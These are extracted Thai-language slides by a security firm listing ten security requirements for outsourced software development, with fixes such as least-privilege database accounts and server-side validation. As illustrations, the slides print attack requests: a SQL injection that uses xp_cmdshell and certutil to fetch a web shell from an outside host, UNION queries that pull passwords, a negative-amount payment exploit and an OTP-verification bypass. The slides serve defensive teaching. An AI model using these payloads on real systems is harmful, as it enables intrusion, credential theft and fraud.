1. Responsible: Mr. Pichaya Morimoto
Version (Date): 1.0 (2021-02-25)
Confidentiality class: Public
บจก.สยามถนัดแฮก
10 ขอกําหนดความปลอดภัย
เมื่อตองจางคนมาทําซอฟตแวรใหองคกร
Made for
7. บจก.สยามถนัดแฮก
Responsible / Version: Mr. Pichaya Morimoto / 1.0 (2021-02-25)
Confidentiality class: Public
7
Software Security (Secure SDLC)
Just do
PEnTest
HerE anD
wE aRe
DonE!
ในอุดมคติ
ในชีวิตจริง
20. บจก.สยามถนัดแฮก
Responsible / Version: Mr. Pichaya Morimoto / 1.0 (2021-02-25)
Confidentiality class: Public
20
#2 สรางและใชงาน Database User
สิทธิ์เทาที่จําเปน
1. หามใชบัญชี DBA (DataBase Administrator) อยาง root
หรือ sa ในแอปพลิเคชัน เพื่อเชื่อมตอฐานขอมูลถาไมจําเปน
2. จะตองมีการสราง Database User ใหม และกําหนดสิทธิ์ ให
เขาถึง Table ที่แอปพลิเคชันจําเปนตองใชเทานั้น
หามกําหนดสิทธิ์ Database User ของแอปพลิเคชัน ใหสามารถ
อาน/เขียนไฟล หรือรัน OS Command ได ถาไมมีความจําเปน
POST / HTTP/1.1
Host: sdhbank.local
Content-Type: application/json
ID=1');exec
master..xp_cmdshell 'certutil
-urlcache -f
http://sth.sh:8000/shell.php
C:xampphtdocsshell.php';--
POST / HTTP/1.1
Host: sdhbank.local
Content-Type: application/json
ID=1' and 1>2 union select
password from
anotherapp.users-- -
21. บจก.สยามถนัดแฮก
Responsible / Version: Mr. Pichaya Morimoto / 1.0 (2021-02-25)
Confidentiality class: Public
21
#2 สรางและใชงาน Database User
สิทธิ์เทาที่จําเปน
วิธีการ implement
กําหนดสิทธิ์ Database User ใหสามารถ
select และ insert ขอมูลไดเทานั้น
$ mysql -u root -p
Enter password :
mysql> CREATE USER somchai@localhost IDENTIFIED BY QkYKmwtec;
Query OK, 0 rows affected (0.00 sec)
mysql> GRANT select,insert ON username TO somchai@localhost;
Query OK, 0 rows affected (0.00 sec)
mysql>
Class.forName("org.apache.derby.jdbc.ClientDriver");
Connection con = DriverManager.getConnection ("jdbc:derby://localhost/
mydatabase" +"?user=somchai@localhost&password=password");
String sql = "SELECT * FROM TABLE" +
" WHERE USERNAME = ? ORDER By CustomerID ASC";
pre = connect.prepareStatement(sql);
22. บจก.สยามถนัดแฮก
Responsible / Version: Mr. Pichaya Morimoto / 1.0 (2021-02-25)
Confidentiality class: Public
22
#2 สรางและใชงาน Database User สิทธิ์เทาที่
จําเปน
- เปดไฟลที่ใชเก็บรหัสผานของแอปพลิเคชันในการเชื่อมตอฐานขอมูลเชน config.php
เพื่อยืนยันวา database user ไมใชสิทธิ์ DBA (root หรือ sa)
- ทดลองใช database user เพื่อแสดงรายการสิทธิ์ของ ฐานขอมูลและคําสั่งที่ใชได
วิธีการตรวจสอบ
mysql> SHOW GRANTS FOR 'somchai'@'localhost';
+------------------------------------------------------------------+
| Grants for somchai@localhost |
+------------------------------------------------------------------+
| GRANT USAGE ON *.* TO `somchai`@`localhost` |
| GRANT SELECT, INSERT ON `mydatabase`.* TO `somchai`@`localhost` |
+------------------------------------------------------------------+
34. บจก.สยามถนัดแฮก
Responsible / Version: Mr. Pichaya Morimoto / 1.0 (2021-02-25)
Confidentiality class: Public
34
#5 ตรวจสอบขอมูลตองทําที่ฝงเซิรฟเวอรเปนหลัก
ID :
POST /api/getStudentId
Host: api.sdhbank.com
id=1234&user_role=1
POST /api/getStudentId
Host: api.sdhbank.com
id=' and 1>2 union select
password from users-- -
&user_role=2
submit
1234
Student
35. บจก.สยามถนัดแฮก
Responsible / Version: Mr. Pichaya Morimoto / 1.0 (2021-02-25)
Confidentiality class: Public
35
Top-Up
Balance (price x amount)
45,000 - (2,000 x - 10) = 65,000
#5 ตรวจสอบขอมูลตองทําที่ฝงเซิรฟเวอรเปนหลัก
10 Pay
IT SHOP Balance : 45,000 + 20,000
POST /api/pay
Host: api.itshopxyzgg.xxxxx
productid=1234&amount=-10
HTTP/1.1 200 OK
{
"Status":"success",
"Balance":"65000"
}
2,000 ฿ item
36. บจก.สยามถนัดแฮก
Responsible / Version: Mr. Pichaya Morimoto / 1.0 (2021-02-25)
Confidentiality class: Public
36
#5 ตรวจสอบขอมูลตองทําที่ฝงเซิรฟเวอรเปนหลัก
API
/getOTP
API
/verifyOTP
API
/payment
การยืนยัน OTP ปกติ:
OTP Bypass:
API
/getOTP
API
/payment
ขาม API /verifyOTP
หรือยิงเขา API /payment
โดยตรง
48. บจก.สยามถนัดแฮก
Responsible / Version: Mr. Pichaya Morimoto / 1.0 (2021-02-25)
Confidentiality class: Public
48
#8 ตรวจสอบสิทธิ์ User Role ที่ฝงเซิรฟเวอร
ถาหากระบบมีการกําหนดสิทธิ์การเขาถึงระบบ (user role) จะตองมีการตรวจ
สอบในระดับ API วาไดทําการกําหนด สิทธิ์ของแตละ role ใหเขาถึงไดเฉพาะ
API ที่ role นั้น ๆ มีสิทธิ์เทานั้น
ควรมีเอกสารระบุรายละเอียดสิทธิ์ของแตละ user role โดยการทําตาราง
access control matrix เพื่อใชในการยืนยัน สิทธิ์ของ user role ในระบบ
50. บจก.สยามถนัดแฮก
Responsible / Version: Mr. Pichaya Morimoto / 1.0 (2021-02-25)
Confidentiality class: Public
50
#9 ปดการเขาถึงระบบสวนที่ไมไดใชงาน
ปดการเขาถึงระบบสวนที่ไมไดใชงานจากภายนอก (อินเทอรเน็ต)
เชน phpMyAdmin, MySQL (Port), RDP (Port), SSH (Port)
โดยอาจยอมใหสามารถเขาไดจาก IP ตนทางที่กําหนด
เทานั้นเชน Public Static IP/ VPN IP ของบริษัท
$ vim
/etc/apache2/conf-available/phpmyadmin.conf
#Restrict phpMyAdmin via IP address
Order Deny,Allow
Deny from All
Allow from 10.1.1.10
51. บจก.สยามถนัดแฮก
Responsible / Version: Mr. Pichaya Morimoto / 1.0 (2021-02-25)
Confidentiality class: Public
51
#9 ปดการเขาถึงระบบสวนที่ไมไดใชงาน
ใช nmap แสกนหา service port ที่เปดอยู
วิธีการตรวจสอบ
$ sudo nmap scanme.nmap.org
Password:
Starting Nmap 7.91 ( https://nmap.org ) at
2021-02-23 18:57 +07
Nmap scan report for scanme.nmap.org
(45.33.32.156)
Host is up (0.23s latency).
Not shown: 995 closed ports
PORT STATE SERVICE
22/tcp open ssh
25/tcp filtered smtp
80/tcp open http
9929/tcp open nping-echo
31337/tcp open Elite